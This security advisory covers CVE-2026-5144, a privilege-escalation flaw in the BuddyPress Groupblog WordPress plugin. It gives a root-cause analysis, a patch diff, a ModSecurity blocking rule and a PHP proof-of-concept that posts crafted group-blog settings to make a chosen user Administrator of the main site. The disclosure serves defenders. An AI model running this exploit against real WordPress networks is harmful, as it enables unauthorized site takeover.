Atomic Edge analysis of CVE-2026-5144:
The BuddyPress Groupblog plugin for WordPress versions up to and including 1.9.3 contains an Insecure Direct Object Reference (IDOR) vulnerability in its group blog settings handler. This flaw allows authenticated attackers with Subscriber-level access or higher to escalate privileges to Administrator on any blog within a WordPress Multisite network, including the main site (blog ID 1). The vulnerability receives a CVSS score of 8.8 (High).
Atomic Edge research identifies the root cause as missing authorization checks and input validation in the `groupblog_settings_handler()` function within `/bp-groupblog/bp-groupblog.php`. The function processes user-supplied parameters `groupblog-blogid`, `default-member`, and `groupblog-silent-add` without verifying the user’s permissions. Specifically, lines 175-188 and 221-259 show the handler accepts any numeric blog ID via `$_POST[‘groupblog-blogid’]` without confirming the user administers that blog. Lines 574-579 demonstrate the function also accepts any role value via `$_POST[‘default-member’]` without validating against an allowed list.
Exploitation requires an attacker to create a group (available to Subscribers), then submit a crafted POST request to the group settings endpoint. The payload must include `groupblog-blogid=1` (or another target blog ID), `default-member=administrator`, and `groupblog-silent-add=1`. When another user (including the attacker using a second account) joins this group, the plugin automatically adds them to the targeted blog with Administrator privileges. The attack vector leverages the group creation and management interface, which is accessible to low-privileged users.
The patch in version 1.9.4 introduces three security controls. First, it adds an authorization check at line 203-207 in `groupblog_settings_handler()` using `groups_is_user_admin()`. This prevents non-group administrators from modifying settings. Second, lines 222-224 and 644-646 validate the submitted `groupblog-blogid` with `current_user_can_for_blog($blog_id, ‘manage_options’)`, ensuring users only associate groups with blogs they administer. Third, the patch introduces new functions `bp_groupblog_get_allowed_roles()` and `bp_groupblog_is_role_allowed()` (lines 163-195) to enforce a role whitelist. Lines 259-263 and 619-627 apply this validation to the `default-member`, `default-administrator`, and `default-moderator` parameters.
Successful exploitation grants an attacker full Administrator access to any WordPress Multisite blog, including the primary site. This compromise enables complete control over the affected blog’s content, users, plugins, themes, and settings. Attackers can install malicious plugins, create backdoor accounts, deface websites, exfiltrate sensitive data, or pivot to other sites within the network. The silent addition feature (`groupblog-silent-add`) makes the attack stealthy, as victims are added to the target blog without notification.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/bp-groupblog/bp-groupblog.php
+++ b/bp-groupblog/bp-groupblog.php
@@ -6,7 +6,7 @@
*/
define( 'BP_GROUPBLOG_IS_INSTALLED', 1 );
-define( 'BP_GROUPBLOG_VERSION', '1.9.3' );
+define( 'BP_GROUPBLOG_VERSION', '1.9.4' );
// Define default roles.
if ( ! defined( 'BP_GROUPBLOG_DEFAULT_ADMIN_ROLE' ) ) {
@@ -163,6 +163,34 @@
add_action( 'bp_setup_nav', 'bp_groupblog_setup_nav' );
/**
+ * Returns the blog roles that may be assigned via group-blog settings.
+ *
+ * Plugins may use the 'bp_groupblog_allowed_roles' filter to add or remove
+ * entries, e.g. to support custom roles registered via add_role().
+ *
+ * @since 1.9.4
+ * @return string[] Allowed role slugs.
+ */
+function bp_groupblog_get_allowed_roles() {
+ $roles = array( 'administrator', 'editor', 'author', 'contributor', 'subscriber' );
+ return apply_filters( 'bp_groupblog_allowed_roles', $roles );
+}
+
+/**
+ * Checks whether an already-sanitized role slug is in the list of allowed roles.
+ *
+ * Sanitization (sanitize_text_field / wp_unslash) is the caller's
+ * responsibility so that this function stays a pure predicate.
+ *
+ * @since 1.9.4
+ * @param string $role A sanitized role slug.
+ * @return bool True if the role is allowed, false otherwise.
+ */
+function bp_groupblog_is_role_allowed( $role ) {
+ return in_array( $role, bp_groupblog_get_allowed_roles(), true );
+}
+
+/**
* Save the blog-settings accessible only by the group admin or mod.
*
* Since version 1.6, this function has been called directly by
@@ -175,6 +203,12 @@
$group_id = isset( $_POST['groupblog-group-id'] ) ? (int) $_POST['groupblog-group-id'] : bp_get_current_group_id();
+ // Authorization: only a group admin may change these settings.
+ if ( ! groups_is_user_admin( bp_loggedin_user_id(), $group_id ) ) {
+ bp_core_add_message( __( 'You do not have permission to manage this group blog.', 'bp-groupblog' ), 'error' );
+ return;
+ }
+
if ( ! bp_groupblog_blog_exists( $group_id ) ) {
if ( isset( $_POST['groupblog-enable-blog'] ) ) {
if ( isset( $_POST['groupblog-create-new'] ) && 'yes' === $_POST['groupblog-create-new'] ) {
@@ -188,6 +222,10 @@
} elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) {
// They're using an existing blog, so we try to assign that to $groupblog_blog_id.
$groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;
+ // Validate that the current user is actually an admin of the submitted blog.
+ if ( $groupblog_blog_id && ! current_user_can_for_blog( $groupblog_blog_id, 'manage_options' ) ) {
+ $groupblog_blog_id = 0;
+ }
if ( ! $groupblog_blog_id ) {
// They forgot to choose a blog, so send them back and make them do it.
bp_core_add_message( __( 'Please choose one of your blogs from the drop-down menu.', 'bp-groupblog' ), 'error' );
@@ -221,6 +259,13 @@
}
}
+ // Validate submitted role values against the whitelist for this user.
+ foreach ( array( 'default-administrator', 'default-moderator', 'default-member' ) as $role_field ) {
+ if ( ! empty( $settings[ $role_field ] ) && ! bp_groupblog_is_role_allowed( $settings[ $role_field ] ) ) {
+ $settings[ $role_field ] = '';
+ }
+ }
+
if ( ! groupblog_edit_base_settings( $settings['groupblog-enable-blog'], $settings['groupblog-silent-add'], $settings['default-administrator'], $settings['default-moderator'], $settings['default-member'], $settings['page_template_layout'], $group_id, $groupblog_blog_id ) ) {
bp_core_add_message( __( 'There was an error creating your group blog, please try again.', 'bp-groupblog' ), 'error' );
} else {
@@ -574,9 +619,13 @@
}
// Set up some default roles.
- $groupblog_default_admin_role = isset( $_POST['default-administrator'] ) ? sanitize_text_field( wp_unslash( $_POST['default-administrator'] ) ) : BP_GROUPBLOG_DEFAULT_ADMIN_ROLE;
- $groupblog_default_mod_role = isset( $_POST['default-moderator'] ) ? sanitize_text_field( wp_unslash( $_POST['default-moderator'] ) ) : BP_GROUPBLOG_DEFAULT_MOD_ROLE;
- $groupblog_default_member_role = isset( $_POST['default-member'] ) ? sanitize_text_field( wp_unslash( $_POST['default-member'] ) ) : BP_GROUPBLOG_DEFAULT_MEMBER_ROLE;
+ $_admin_role = sanitize_text_field( wp_unslash( $_POST['default-administrator'] ?? '' ) );
+ $_mod_role = sanitize_text_field( wp_unslash( $_POST['default-moderator'] ?? '' ) );
+ $_member_role = sanitize_text_field( wp_unslash( $_POST['default-member'] ?? '' ) );
+
+ $groupblog_default_admin_role = bp_groupblog_is_role_allowed( $_admin_role ) ? $_admin_role : BP_GROUPBLOG_DEFAULT_ADMIN_ROLE;
+ $groupblog_default_mod_role = bp_groupblog_is_role_allowed( $_mod_role ) ? $_mod_role : BP_GROUPBLOG_DEFAULT_MOD_ROLE;
+ $groupblog_default_member_role = bp_groupblog_is_role_allowed( $_member_role ) ? $_member_role : BP_GROUPBLOG_DEFAULT_MEMBER_ROLE;
// Set up some other values.
$groupblog_group_id = isset( $_POST['group_id'] ) ? (int) $_POST['group_id'] : bp_get_new_group_id();
@@ -595,6 +644,10 @@
} elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) {
// They're using an existing blog, so we try to assign that to $groupblog_blog_id.
$groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;
+ // Validate that the current user is actually an admin of the submitted blog.
+ if ( $groupblog_blog_id && ! current_user_can_for_blog( $groupblog_blog_id, 'manage_options' ) ) {
+ $groupblog_blog_id = 0;
+ }
if ( ! $groupblog_blog_id ) {
// They forgot to choose a blog, so send them back and make them do it.
bp_core_add_message( __( 'Please choose one of your blogs from the drop-down menu.', 'bp-groupblog' ), 'error' );
--- a/bp-groupblog/loader.php
+++ b/bp-groupblog/loader.php
@@ -4,7 +4,7 @@
* Plugin URI: https://wordpress.org/plugins/bp-groupblog/
* Description: Automates and links WPMU blogs groups controlled by the group creator.
* Author: Rodney Blevins, Marius Ooms, Boone Gorges
- * Version: 1.9.3
+ * Version: 1.9.4
* License: (Groupblog: GNU General Public License 2.0 (GPL) http://www.gnu.org/licenses/gpl.html)
* Network: true
* Text Domain: bp-groupblog
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5144
SecRule REQUEST_URI "@rx ^/groups/d+/admin/group-blog/"
"id:20265144,phase:2,deny,status:403,chain,msg:'CVE-2026-5144 BuddyPress Groupblog Privilege Escalation via Group Blog IDOR',severity:'CRITICAL',tag:'CVE-2026-5144',tag:'attack-privilege-escalation'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:groupblog-blogid "@rx ^[0-9]+$" "chain"
SecRule ARGS_POST:default-member "@streq administrator" "chain"
SecRule ARGS_POST:groupblog-silent-add "@streq 1" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5144 - BuddyPress Groupblog <= 1.9.3 - Authenticated (Subscriber+) Privilege Escalation to Administrator via Group Blog IDOR
<?php
$target_url = 'https://example.com';
$username = 'attacker';
$password = 'password';
$target_blog_id = 1; // Main site blog ID
$victim_username = 'victim';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
$response = curl_exec($ch);
// Step 2: Create a new group (BuddyPress group creation endpoint)
$group_create_url = $target_url . '/groups/create/step/group-details/';
curl_setopt($ch, CURLOPT_URL, $group_create_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'group-name' => 'Malicious Group',
'group-desc' => 'Exploit group',
'save' => '1'
]));
$response = curl_exec($ch);
// Extract group ID from response (simplified - real implementation would parse HTML)
$group_id = 123; // Would need to extract from response or group listing
// Step 3: Configure group blog settings with malicious parameters
$group_settings_url = $target_url . '/groups/' . $group_id . '/admin/group-blog/';
curl_setopt($ch, CURLOPT_URL, $group_settings_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'groupblog-group-id' => $group_id,
'groupblog-enable-blog' => '1',
'groupblog-create-new' => 'no', // Use existing blog
'groupblog-blogid' => $target_blog_id, // IDOR: target any blog
'default-member' => 'administrator', // Unvalidated role assignment
'groupblog-silent-add' => '1', // Silent addition
'action' => 'groupblog-settings'
]));
$response = curl_exec($ch);
// Step 4: Have victim join the group (using second account)
// This would require authenticating as the victim user
// After joining, victim is automatically added to target blog as Administrator
curl_close($ch);
echo "Exploit completed. User '$victim_username' should now be Administrator on blog ID $target_blog_id.n";
?>